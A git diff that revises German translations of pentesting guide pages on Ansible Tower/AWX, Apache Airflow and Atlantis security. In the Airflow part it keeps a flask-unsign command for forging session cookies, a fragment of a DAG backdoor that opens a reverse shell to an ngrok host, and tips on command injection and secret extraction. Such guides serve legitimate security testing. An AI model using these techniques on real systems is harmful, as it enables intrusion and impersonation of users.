diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index 341f83f73..2fe2fc44d 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -1,10 +1,10 @@
-# Ansible Tower / AWX / Automation controller Sicherheit
+# Ansible Tower / AWX / Automation Controller Sicherheit
{{#include ../banners/hacktricks-training.md}}
## Grundinformationen
-**Ansible Tower** oder seine Open-Source-Version [**AWX**](https://github.com/ansible/awx) ist auch bekannt als **Ansible Benutzeroberfläche, Dashboard und REST API**. Mit **rollenbasiertem Zugriffskontrolle**, Jobplanung und grafischer Inventarverwaltung können Sie Ihre Ansible-Infrastruktur über eine moderne Benutzeroberfläche verwalten. Die REST API von Tower und die Befehlszeilenschnittstelle machen es einfach, sie in aktuelle Tools und Workflows zu integrieren.
+**Ansible Tower** oder seine Open-Source-Version [**AWX**](https://github.com/ansible/awx) ist auch bekannt als **Ansible-Benutzeroberfläche, Dashboard und REST-API**. Mit **rollenbasiertem Zugriffskontrolle**, Jobplanung und grafischer Inventarverwaltung können Sie Ihre Ansible-Infrastruktur über eine moderne Benutzeroberfläche verwalten. Die REST-API von Tower und die Befehlszeilenschnittstelle machen es einfach, sie in aktuelle Tools und Workflows zu integrieren.
**Automation Controller ist eine neuere** Version von Ansible Tower mit mehr Funktionen.
@@ -15,7 +15,7 @@ Laut [**diesem**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65
### Tech-Stack
- **Weboberfläche**: Dies ist die grafische Oberfläche, über die Benutzer Inventare, Anmeldeinformationen, Vorlagen und Jobs verwalten können. Sie ist so gestaltet, dass sie intuitiv ist und Visualisierungen bietet, um den Zustand und die Ergebnisse Ihrer Automatisierungsjobs zu verstehen.
-- **REST API**: Alles, was Sie in der Weboberfläche tun können, können Sie auch über die REST API tun. Das bedeutet, dass Sie AWX/Tower mit anderen Systemen integrieren oder Aktionen skripten können, die Sie normalerweise in der Benutzeroberfläche ausführen würden.
+- **REST-API**: Alles, was Sie in der Weboberfläche tun können, können Sie auch über die REST-API tun. Das bedeutet, dass Sie AWX/Tower mit anderen Systemen integrieren oder Aktionen skripten können, die Sie normalerweise in der Benutzeroberfläche ausführen würden.
- **Datenbank**: AWX/Tower verwendet eine Datenbank (typischerweise PostgreSQL), um seine Konfiguration, Jobresultate und andere notwendige Betriebsdaten zu speichern.
- **RabbitMQ**: Dies ist das Messaging-System, das von AWX/Tower verwendet wird, um zwischen den verschiedenen Komponenten zu kommunizieren, insbesondere zwischen dem Webdienst und den Aufgabenläufern.
- **Redis**: Redis dient als Cache und Backend für die Aufgabenwarteschlange.
@@ -24,32 +24,32 @@ Laut [**diesem**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65
- **Inventare**: Ein Inventar ist eine **Sammlung von Hosts (oder Knoten)**, gegen die **Jobs** (Ansible-Playbooks) **ausgeführt** werden können. AWX/Tower ermöglicht es Ihnen, Ihre Inventare zu definieren und zu gruppieren und unterstützt auch dynamische Inventare, die **Hostlisten aus anderen Systemen** wie AWS, Azure usw. abrufen können.
- **Projekte**: Ein Projekt ist im Wesentlichen eine **Sammlung von Ansible-Playbooks**, die aus einem **Versionskontrollsystem** (wie Git) stammen, um die neuesten Playbooks bei Bedarf abzurufen.
-- **Vorlagen**: Jobvorlagen definieren, **wie ein bestimmtes Playbook ausgeführt wird**, indem sie das **Inventar**, die **Anmeldeinformationen** und andere **Parameter** für den Job angeben.
+- **Vorlagen**: Jobvorlagen definieren, **wie ein bestimmtes Playbook ausgeführt wird**, und geben das **Inventar**, **Anmeldeinformationen** und andere **Parameter** für den Job an.
- **Anmeldeinformationen**: AWX/Tower bietet eine sichere Möglichkeit, **Geheimnisse wie SSH-Schlüssel, Passwörter und API-Tokens zu verwalten und zu speichern**. Diese Anmeldeinformationen können mit Jobvorlagen verknüpft werden, sodass Playbooks beim Ausführen den erforderlichen Zugriff haben.
-- **Aufgaben-Engine**: Hier passiert die Magie. Die Aufgaben-Engine basiert auf Ansible und ist verantwortlich für das **Ausführen der Playbooks**. Jobs werden an die Aufgaben-Engine übergeben, die dann die Ansible-Playbooks gegen das festgelegte Inventar mit den angegebenen Anmeldeinformationen ausführt.
+- **Aufgaben-Engine**: Hier geschieht die Magie. Die Aufgaben-Engine basiert auf Ansible und ist verantwortlich für das **Ausführen der Playbooks**. Jobs werden an die Aufgaben-Engine übergeben, die dann die Ansible-Playbooks gegen das festgelegte Inventar mit den angegebenen Anmeldeinformationen ausführt.
- **Planer und Rückrufe**: Dies sind erweiterte Funktionen in AWX/Tower, die es ermöglichen, **Jobs zu bestimmten Zeiten zu planen** oder durch externe Ereignisse ausgelöst zu werden.
-- **Benachrichtigungen**: AWX/Tower kann Benachrichtigungen basierend auf dem Erfolg oder Misserfolg von Jobs senden. Es unterstützt verschiedene Benachrichtigungsmethoden wie E-Mails, Slack-Nachrichten, Webhooks usw.
+- **Benachrichtigungen**: AWX/Tower kann Benachrichtigungen basierend auf dem Erfolg oder Misserfolg von Jobs senden. Es unterstützt verschiedene Arten von Benachrichtigungen wie E-Mails, Slack-Nachrichten, Webhooks usw.
- **Ansible-Playbooks**: Ansible-Playbooks sind Konfigurations-, Bereitstellungs- und Orchestrierungstools. Sie beschreiben den gewünschten Zustand von Systemen auf automatisierte, wiederholbare Weise. In YAML geschrieben, verwenden Playbooks Ansible's deklarative Automatisierungssprache, um Konfigurationen, Aufgaben und Schritte zu beschreiben, die ausgeführt werden müssen.
### Jobausführungsfluss
-1. **Benutzerinteraktion**: Ein Benutzer kann über die **Weboberfläche** oder die **REST API** mit AWX/Tower interagieren. Diese bieten Front-End-Zugriff auf alle von AWX/Tower angebotenen Funktionen.
+1. **Benutzerinteraktion**: Ein Benutzer kann mit AWX/Tower entweder über die **Weboberfläche** oder die **REST-API** interagieren. Diese bieten Front-End-Zugriff auf alle von AWX/Tower angebotenen Funktionen.
2. **Jobinitiierung**:
- Der Benutzer initiiert über die Weboberfläche oder API einen Job basierend auf einer **Jobvorlage**.
-- Die Jobvorlage enthält Verweise auf das **Inventar**, das **Projekt** (das das Playbook enthält) und die **Anmeldeinformationen**.
+- Die Jobvorlage enthält Verweise auf das **Inventar**, **Projekt** (das das Playbook enthält) und **Anmeldeinformationen**.
- Bei der Jobinitiierung wird eine Anfrage an das AWX/Tower-Backend gesendet, um den Job zur Ausführung in die Warteschlange zu stellen.
3. **Jobwarteschlange**:
-- **RabbitMQ** verwaltet die Nachrichtenübertragung zwischen der Webkomponente und den Aufgabenläufern. Sobald ein Job initiiert wird, wird eine Nachricht an die Aufgaben-Engine über RabbitMQ gesendet.
-- **Redis** fungiert als Backend für die Aufgabenwarteschlange und verwaltet die in der Warteschlange stehenden Jobs, die auf die Ausführung warten.
+- **RabbitMQ** verwaltet die Nachrichten zwischen der Webkomponente und den Aufgabenläufern. Sobald ein Job initiiert wird, wird eine Nachricht an die Aufgaben-Engine über RabbitMQ gesendet.
+- **Redis** fungiert als Backend für die Aufgabenwarteschlange und verwaltet die in der Warteschlange befindlichen Jobs, die auf die Ausführung warten.
4. **Jobausführung**:
-- Die **Aufgaben-Engine** nimmt den in der Warteschlange stehenden Job auf. Sie ruft die erforderlichen Informationen aus der **Datenbank** über das mit dem Job verbundene Playbook, Inventar und die Anmeldeinformationen ab.
+- Die **Aufgaben-Engine** nimmt den in der Warteschlange befindlichen Job auf. Sie ruft die erforderlichen Informationen aus der **Datenbank** über das mit dem Job verbundene Playbook, Inventar und die Anmeldeinformationen ab.
- Mit dem abgerufenen Ansible-Playbook aus dem zugehörigen **Projekt** führt die Aufgaben-Engine das Playbook gegen die angegebenen **Inventar**-Knoten mit den bereitgestellten **Anmeldeinformationen** aus.
- Während das Playbook ausgeführt wird, werden die Ausführungsprotokolle (Logs, Fakten usw.) erfasst und in der **Datenbank** gespeichert.
5. **Jobergebnisse**:
- Sobald das Playbook die Ausführung abgeschlossen hat, werden die Ergebnisse (Erfolg, Misserfolg, Protokolle) in der **Datenbank** gespeichert.
-- Benutzer können die Ergebnisse dann über die Weboberfläche einsehen oder sie über die REST API abfragen.
-- Basierend auf den Jobergebnissen können **Benachrichtigungen** versendet werden, um Benutzer oder externe Systeme über den Status des Jobs zu informieren. Benachrichtigungen können E-Mails, Slack-Nachrichten, Webhooks usw. sein.
-6. **Integration externer Systeme**:
+- Benutzer können die Ergebnisse dann über die Weboberfläche einsehen oder über die REST-API abfragen.
+- Basierend auf den Ergebnissen der Jobs können **Benachrichtigungen** versendet werden, um Benutzer oder externe Systeme über den Status des Jobs zu informieren. Benachrichtigungen können E-Mails, Slack-Nachrichten, Webhooks usw. sein.
+6. **Integration mit externen Systemen**:
- **Inventare** können dynamisch aus externen Systemen bezogen werden, sodass AWX/Tower Hosts aus Quellen wie AWS, Azure, VMware und mehr abrufen kann.
- **Projekte** (Playbooks) können aus Versionskontrollsystemen abgerufen werden, um sicherzustellen, dass während der Jobausführung aktuelle Playbooks verwendet werden.
- **Planer und Rückrufe** können verwendet werden, um mit anderen Systemen oder Tools zu integrieren, sodass AWX/Tower auf externe Auslöser reagiert oder Jobs zu festgelegten Zeiten ausführt.
@@ -86,9 +86,9 @@ docker exec tools_awx_1 awx-manage create_preload_data
### Unterstützte Rollen
-Die privilegierteste Rolle wird **Systemadministrator** genannt. Jeder mit dieser Rolle kann **alles ändern**.
+Die privilegierteste Rolle wird als **Systemadministrator** bezeichnet. Jeder mit dieser Rolle kann **alles ändern**.
-Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemauditorrolle**, die es ermöglicht, **alle Systemdaten anzuzeigen**, aber keine Änderungen vorzunehmen. Eine andere Möglichkeit wäre, die **Organisationsauditorrolle** zu erhalten, aber es wäre besser, die andere zu bekommen.
+Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemauditorrolle**, die es ermöglicht, **alle Systemdaten anzuzeigen**, aber keine Änderungen vorzunehmen. Eine andere Option wäre, die **Organisationsauditorrolle** zu erhalten, aber es wäre besser, die andere zu bekommen.
@@ -102,7 +102,7 @@ Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemaud
- Diese Rolle ist für Compliance und Aufsicht konzipiert.
3. **Organisationsrollen**:
- **Admin**: Vollständige Kontrolle über die Ressourcen der Organisation.
-- **Auditor**: Nur Lesezugriff auf die Ressourcen der Organisation.
+- **Auditor**: Nur-Lese-Zugriff auf die Ressourcen der Organisation.
- **Mitglied**: Grundlegende Mitgliedschaft in einer Organisation ohne spezifische Berechtigungen.
- **Ausführen**: Kann Jobvorlagen innerhalb der Organisation ausführen.
- **Lesen**: Kann die Ressourcen der Organisation anzeigen.
@@ -115,22 +115,22 @@ Für eine **White-Box-Sicherheits**-Überprüfung benötigen Sie die **Systemaud
- **Ad Hoc**: Kann Ad-hoc-Befehle im Inventar ausführen.
- **Aktualisieren**: Kann die Inventarquelle aktualisieren.
- **Verwenden**: Kann das Inventar in einer Jobvorlage verwenden.
-- **Lesen**: Nur Lesezugriff.
+- **Lesen**: Nur-Lese-Zugriff.
6. **Jobvorlagenrollen**:
- **Admin**: Kann die Jobvorlage verwalten und ändern.
- **Ausführen**: Kann den Job ausführen.
-- **Lesen**: Nur Lesezugriff.
+- **Lesen**: Nur-Lese-Zugriff.
7. **Berechtigungsrollen**:
- **Admin**: Kann die Berechtigungen verwalten und ändern.
- **Verwenden**: Kann die Berechtigungen in Jobvorlagen oder anderen relevanten Ressourcen verwenden.
-- **Lesen**: Nur Lesezugriff.
+- **Lesen**: Nur-Lese-Zugriff.
8. **Teamrollen**:
- **Mitglied**: Teil des Teams, aber ohne spezifische Berechtigungen.
- **Admin**: Kann die Mitglieder des Teams und die zugehörigen Ressourcen verwalten.
9. **Workflow-Rollen**:
- **Admin**: Kann den Workflow verwalten und ändern.
- **Ausführen**: Kann den Workflow ausführen.
-- **Lesen**: Nur Lesezugriff.
+- **Lesen**: Nur-Lese-Zugriff.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index cddae2e79..7073fdc71 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -1,18 +1,18 @@
-# Apache Airflow Security
+# Apache Airflow Sicherheit
{{#include ../../banners/hacktricks-training.md}}
-### Grundlegende Informationen
+### Grundinformationen
-[**Apache Airflow**](https://airflow.apache.org) dient als Plattform zum **Orchestrieren und Planen von Datenpipelines oder Workflows**. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess des Anordnens, Koordinierens und Verwaltens komplexer Daten-Workflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und konsumierbare Datensätze bereitzustellen. Diese Datensätze werden von einer Vielzahl von Anwendungen umfassend genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschafts- und Machine-Learning-Modelle, die alle grundlegend für das Funktionieren von Big-Data-Anwendungen sind.
+[**Apache Airflow**](https://airflow.apache.org) dient als Plattform zum **Orchestrieren und Planen von Datenpipelines oder Workflows**. Der Begriff "Orchestrierung" im Kontext von Datenpipelines bezeichnet den Prozess des Arrangierens, Koordinierens und Verwaltens komplexer Daten-Workflows, die aus verschiedenen Quellen stammen. Der Hauptzweck dieser orchestrierten Datenpipelines besteht darin, verarbeitete und konsumierbare Datensätze bereitzustellen. Diese Datensätze werden von einer Vielzahl von Anwendungen umfassend genutzt, einschließlich, aber nicht beschränkt auf Business-Intelligence-Tools, Datenwissenschafts- und Machine-Learning-Modelle, die alle grundlegend für das Funktionieren von Big-Data-Anwendungen sind.
-Im Grunde genommen ermöglicht es Apache Airflow, die **Ausführung von Code zu planen, wenn etwas** (Ereignis, Cron) **passiert**.
+Im Grunde wird Apache Airflow Ihnen ermöglichen, **die Ausführung von Code zu planen, wenn etwas** (Ereignis, Cron) **passiert**.
### Lokales Labor
#### Docker-Compose
-Sie können die **docker-compose-Konfigurationsdatei von** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) verwenden, um eine vollständige Apache Airflow-Docker-Umgebung zu starten. (Wenn Sie MacOS verwenden, stellen Sie sicher, dass Sie der Docker-VM mindestens 6 GB RAM zuweisen).
+Sie können die **docker-compose-Konfigurationsdatei von** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) verwenden, um eine vollständige Apache Airflow-Docker-Umgebung zu starten. (Wenn Sie auf MacOS sind, stellen Sie sicher, dass Sie der Docker-VM mindestens 6 GB RAM zuweisen).
#### Minikube
@@ -28,7 +28,7 @@ helm delete airflow-release
```
### Airflow-Konfiguration
-Airflow könnte **sensible Informationen** in seiner Konfiguration speichern oder Sie könnten schwache Konfigurationen finden:
+Airflow könnte **sensible Informationen** in seiner Konfiguration speichern oder Sie können schwache Konfigurationen finden:
{{#ref}}
airflow-configuration.md
@@ -44,25 +44,25 @@ airflow-rbac.md
### Angriffe
-#### Webkonsole Aufzählung
+#### Webkonsole Enumeration
Wenn Sie **Zugriff auf die Webkonsole** haben, könnten Sie in der Lage sein, einige oder alle der folgenden Informationen zuzugreifen:
-- **Variablen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein)
-- **Verbindungen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert sein)
-- Greifen Sie darauf zu in `http:///connection/list/`
-- [**Konfiguration**](./#airflow-configuration) (Sensible Informationen wie der **`secret_key`** und Passwörter könnten hier gespeichert sein)
+- **Variablen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden)
+- **Verbindungen** (Benutzerdefinierte sensible Informationen könnten hier gespeichert werden)
+- Greifen Sie darauf zu unter `http:///connection/list/`
+- [**Konfiguration**](./#airflow-configuration) (Sensible Informationen wie der **`secret_key`** und Passwörter könnten hier gespeichert werden)
- Liste der **Benutzer & Rollen**
- **Code jedes DAG** (der interessante Informationen enthalten könnte)
#### Abrufen von Variablenwerten
-Variablen können in Airflow gespeichert werden, damit die **DAGs** ihre Werte **zugreifen** können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie **genug Berechtigungen** haben, können Sie sie in der GUI unter `http:///variable/list/` abrufen.\
-Airflow zeigt standardmäßig den Wert der Variablen in der GUI an, jedoch ist es laut [**diesem**](https://marclamberti.com/blog/variables-with-apache-airflow/) möglich, eine **Liste von Variablen** festzulegen, deren **Wert** als **Sternchen** in der **GUI** angezeigt wird.
+Variablen können in Airflow gespeichert werden, damit die **DAGs** auf ihre Werte **zugreifen** können. Es ist ähnlich wie bei Geheimnissen anderer Plattformen. Wenn Sie **genug Berechtigungen** haben, können Sie sie in der GUI unter `http:///variable/list/` abrufen.\
+Airflow zeigt standardmäßig den Wert der Variablen in der GUI an, jedoch ist es laut [**dieser**](https://marclamberti.com/blog/variables-with-apache-airflow/) möglich, eine **Liste von Variablen** festzulegen, deren **Wert** in der **GUI** als **Sternchen** angezeigt wird.
.png>)
-Diese **Werte** können jedoch weiterhin über **CLI** (Sie müssen DB-Zugriff haben), **willkürliche DAG**-Ausführung, **API**, die auf den Variablen-Endpunkt zugreift (die API muss aktiviert sein), und **sogar die GUI selbst!**\
+Diese **Werte** können jedoch weiterhin über **CLI** (Sie müssen DB-Zugriff haben), **willkürliche DAG**-Ausführung, **API**-Zugriff auf den Variablen-Endpunkt (die API muss aktiviert sein) und **sogar die GUI selbst!** abgerufen werden.\
Um auf diese Werte über die GUI zuzugreifen, wählen Sie einfach die **Variablen** aus, auf die Sie zugreifen möchten, und **klicken Sie auf Aktionen -> Exportieren**.\
Eine andere Möglichkeit besteht darin, einen **Bruteforce** auf den **versteckten Wert** durchzuführen, indem Sie die **Suchfilterung** verwenden, bis Sie ihn erhalten:
@@ -70,13 +70,13 @@ Eine andere Möglichkeit besteht darin, einen **Bruteforce** auf den **versteckt
#### Privilegieneskalation
-Wenn die Konfiguration **`expose_config`** auf **True** gesetzt ist, können Benutzer ab der **Rolle Benutzer** und **darüber** die **Konfiguration im Web** **lesen**. In dieser Konfiguration erscheint der **`secret_key`**, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel **seinen eigenen signierten Cookie erstellen kann, um sich als ein anderer Benutzeraccount auszugeben**.
+Wenn die Konfiguration **`expose_config`** auf **True** gesetzt ist, können Benutzer ab der **Rolle Benutzer** und **darüber hinaus** die **Konfiguration im Web** **lesen**. In dieser Konfiguration erscheint der **`secret_key`**, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel **seinen eigenen signierten Cookie erstellen kann, um sich als ein anderer Benutzeraccount auszugeben**.
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
-#### DAG-Hintertür (RCE im Airflow-Worker)
+#### DAG Backdoor (RCE in Airflow worker)
-Wenn Sie **Schreibzugriff** auf den Ort haben, an dem die **DAGs gespeichert sind**, können Sie einfach **eine erstellen**, die Ihnen eine **Reverse-Shell** sendet.\
+Wenn Sie **Schreibzugriff** auf den Ort haben, an dem die **DAGs gespeichert** sind, können Sie einfach **einen erstellen**, der Ihnen eine **Reverse-Shell** sendet.\
Beachten Sie, dass diese Reverse-Shell innerhalb eines **Airflow-Worker-Containers** ausgeführt wird:
```python
import pendulum
@@ -144,9 +144,9 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### DAG-Erstellung
-Wenn es Ihnen gelingt, **eine Maschine im DAG-Cluster zu kompromittieren**, können Sie neue **DAG-Skripte** im Ordner `dags/` erstellen, und sie werden **in den restlichen Maschinen** im DAG-Cluster **repliziert**.
+Wenn es Ihnen gelingt, **eine Maschine im DAG-Cluster zu kompromittieren**, können Sie neue **DAG-Skripte** im `dags/`-Ordner erstellen, und sie werden **im Rest der Maschinen** im DAG-Cluster **repliziert**.
-#### DAG-Code-Injektion
+#### DAG-Code-Injection
Wenn Sie einen DAG über die GUI ausführen, können Sie **Argumente** an ihn **übergeben**.\
Daher könnte der DAG, wenn er nicht ordnungsgemäß codiert ist, **anfällig für Command Injection** sein.\
@@ -154,7 +154,7 @@ Das ist, was in diesem CVE passiert ist: [https://www.exploit-db.com/exploits/49
Alles, was Sie wissen müssen, um **nach Command Injections in DAGs zu suchen**, ist, dass **Parameter** mit dem Code **`dag_run.conf.get("param_name")`** **zugegriffen** werden.
-Darüber hinaus könnte die gleiche Verwundbarkeit auch bei **Variablen** auftreten (beachten Sie, dass Sie mit ausreichenden Rechten **den Wert der Variablen** in der GUI **steuern** könnten). Variablen werden **mit** zugegriffen:
+Darüber hinaus könnte die gleiche Verwundbarkeit auch bei **Variablen** auftreten (beachten Sie, dass Sie mit ausreichenden Rechten **den Wert der Variablen** in der GUI **steuern** könnten). Variablen werden **zugegriffen mit**:
```python
from airflow.models import Variable
[...]
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index eef2376cf..8a2d7483d 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -27,39 +27,39 @@ Einige interessante Werte, die Sie beim Lesen der Konfigurationsdatei überprüf
- `airflow.api.auth.backend.basic_auth`: Für **Basis-Authentifizierung**.
- `airflow.composer.api.backend.composer_auth`: Verwendet die Authentifizierung von Composern (GCP) (von [**hier**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: Dies gibt die **Rolle** an, die der **Composer-Benutzer** innerhalb von **Airflow** erhält (**Op** standardmäßig).
-- Sie können auch eine **eigene Authentifizierung**-Methode mit Python erstellen.
+- Sie können auch **Ihre eigene Authentifizierung**smethode mit Python erstellen.
- **`google_key_path`:** Pfad zum **GCP-Dienstkonto-Schlüssel**.
### **\[atlas]**
-- **`password`**: Atlas-Passwort
-- **`username`**: Atlas-Benutzername
+- **`password`**: Atlas-Passwort.
+- **`username`**: Atlas-Benutzername.
### \[celery]
-- **`flower_basic_auth`** : Anmeldeinformationen (_user1:password1,user2:password2_)
+- **`flower_basic_auth`** : Anmeldeinformationen (_user1:password1,user2:password2_).
- **`result_backend`**: Postgres-URL, die **Anmeldeinformationen** enthalten kann.
-- **`ssl_cacert`**: Pfad zum cacert
-- **`ssl_cert`**: Pfad zum Zertifikat
-- **`ssl_key`**: Pfad zum Schlüssel
+- **`ssl_cacert`**: Pfad zum cacert.
+- **`ssl_cert`**: Pfad zum Zertifikat.
+- **`ssl_key`**: Pfad zum Schlüssel.
### \[core]
- **`dag_discovery_safe_mode`**: Standardmäßig aktiviert. Beim Entdecken von DAGs werden alle Dateien ignoriert, die nicht die Zeichenfolgen `DAG` und `airflow` enthalten.
-- **`fernet_key`**: Schlüssel zum Speichern von verschlüsselten Variablen (symmetrisch).
+- **`fernet_key`**: Schlüssel zum Speichern verschlüsselter Variablen (symmetrisch).
- **`hide_sensitive_var_conn_fields`**: Standardmäßig aktiviert, verbirgt sensible Informationen zu Verbindungen.
- **`security`**: Welches Sicherheitsmodul verwendet werden soll (zum Beispiel Kerberos).
### \[dask]
-- **`tls_ca`**: Pfad zur CA
-- **`tls_cert`**: Pfad zum Zertifikat
-- **`tls_key`**: Pfad zum TLS-Schlüssel
+- **`tls_ca`**: Pfad zur CA.
+- **`tls_cert`**: Pfad zum Zertifikat.
+- **`tls_key`**: Pfad zum TLS-Schlüssel.
### \[kerberos]
-- **`ccache`**: Pfad zur ccache-Datei
-- **`forwardable`**: Standardmäßig aktiviert
+- **`ccache`**: Pfad zur ccache-Datei.
+- **`forwardable`**: Standardmäßig aktiviert.
### \[logging]
@@ -72,8 +72,8 @@ Einige interessante Werte, die Sie beim Lesen der Konfigurationsdatei überprüf
### \[smtp]
-- **`smtp_password`**: SMTP-Passwort
-- **`smtp_user`**: SMTP-Benutzer
+- **`smtp_password`**: SMTP-Passwort.
+- **`smtp_user`**: SMTP-Benutzer.
### \[webserver]
@@ -92,13 +92,13 @@ Standardmäßig ist die **Web-Authentifizierung** in der Datei **`webserver_conf
```bash
AUTH_TYPE = AUTH_DB
```
-Was bedeutet, dass die **Authentifizierung gegen die Datenbank überprüft wird**. Andere Konfigurationen sind jedoch möglich, wie
+Was bedeutet, dass die **Authentifizierung gegen die Datenbank überprüft wird**. Es sind jedoch auch andere Konfigurationen möglich, wie
```bash
AUTH_TYPE = AUTH_OAUTH
```
Um die **Authentifizierung an Drittanbieterdienste** zu übergeben.
-Es gibt jedoch auch eine Option, um **anonymen Benutzern den Zugriff zu erlauben**, indem der folgende Parameter auf die **gewünschte Rolle** gesetzt wird:
+Es gibt jedoch auch eine Option, **anonymen Benutzern den Zugriff zu erlauben**, indem der folgende Parameter auf die **gewünschte Rolle** gesetzt wird:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 84639a3ab..cb97a09b9 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,15 +4,15 @@
## RBAC
-(Von den Dokumenten)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow wird mit einem **Standardset von Rollen** ausgeliefert: **Admin**, **User**, **Op**, **Viewer** und **Public**. **Nur `Admin`**-Benutzer können **die Berechtigungen für andere Rollen konfigurieren/ändern**. Es wird jedoch nicht empfohlen, dass `Admin`-Benutzer diese Standardrollen in irgendeiner Weise ändern, indem sie Berechtigungen für diese Rollen entfernen oder hinzufügen.
+(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow wird standardmäßig mit einem **Set von Rollen** ausgeliefert: **Admin**, **User**, **Op**, **Viewer** und **Public**. **Nur `Admin`**-Benutzer können **die Berechtigungen für andere Rollen konfigurieren/ändern**. Es wird jedoch nicht empfohlen, dass `Admin`-Benutzer diese Standardrollen in irgendeiner Weise ändern, indem sie Berechtigungen für diese Rollen entfernen oder hinzufügen.
- **`Admin`**-Benutzer haben alle möglichen Berechtigungen.
- **`Public`**-Benutzer (anonym) haben keine Berechtigungen.
- **`Viewer`**-Benutzer haben eingeschränkte Ansichtsberechtigungen (nur lesen). Er **kann die Konfiguration nicht sehen.**
- **`User`**-Benutzer haben `Viewer`-Berechtigungen plus zusätzliche Benutzerberechtigungen, die es ihm ermöglichen, DAGs ein wenig zu verwalten. Er **kann die Konfigurationsdatei sehen.**
-- **`Op`**-Benutzer haben `User`-Berechtigungen plus zusätzliche Betriebsberechtigungen.
+- **`Op`**-Benutzer haben `User`-Berechtigungen plus zusätzliche Op-Berechtigungen.
-Beachten Sie, dass **Admin**-Benutzer **weitere Rollen** mit **detaillierteren Berechtigungen** erstellen können.
+Beachten Sie, dass **Admin**-Benutzer **weitere Rollen** mit **feineren Berechtigungen** erstellen können.
Beachten Sie auch, dass die einzige Standardrolle mit **Berechtigung zur Auflistung von Benutzern und Rollen Admin ist, nicht einmal Op** wird in der Lage sein, dies zu tun.
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index 45c0d6668..9fb513160 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -4,27 +4,27 @@
### Grundinformationen
-Atlantis hilft Ihnen im Grunde, Terraform aus Pull Requests von Ihrem Git-Server auszuführen.
+Atlantis hilft Ihnen im Grunde, Terraform von Pull Requests von Ihrem Git-Server auszuführen.
.png>)
### Lokales Labor
-1. Gehen Sie zur **Atlantis-Release-Seite** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) und **laden** Sie die passende Version herunter.
+1. Gehen Sie zur **Atlantis-Release-Seite** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) und **laden Sie** die passende Version herunter.
2. Erstellen Sie ein **persönliches Token** (mit Repo-Zugriff) Ihres **GitHub**-Benutzers.
3. Führen Sie `./atlantis testdrive` aus, und es wird ein **Demo-Repo** erstellt, das Sie verwenden können, um mit Atlantis zu **kommunizieren**.
-4. Sie können die Webseite unter 127.0.0.1:4141 aufrufen.
+1. Sie können die Webseite unter 127.0.0.1:4141 aufrufen.
### Atlantis-Zugriff
#### Git-Server-Anmeldeinformationen
-**Atlantis** unterstützt mehrere Git-Hosts wie **Github**, **Gitlab**, **Bitbucket** und **Azure DevOps**.\
+**Atlantis** unterstützt mehrere Git-Hosts wie **GitHub**, **GitLab**, **Bitbucket** und **Azure DevOps**.\
Um jedoch auf die Repos auf diesen Plattformen zuzugreifen und Aktionen durchzuführen, muss ihm **privilegierter Zugriff gewährt werden** (mindestens Schreibberechtigungen).\
[**Die Dokumentation**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) empfiehlt, einen Benutzer auf diesen Plattformen speziell für Atlantis zu erstellen, aber einige Personen verwenden möglicherweise persönliche Konten.
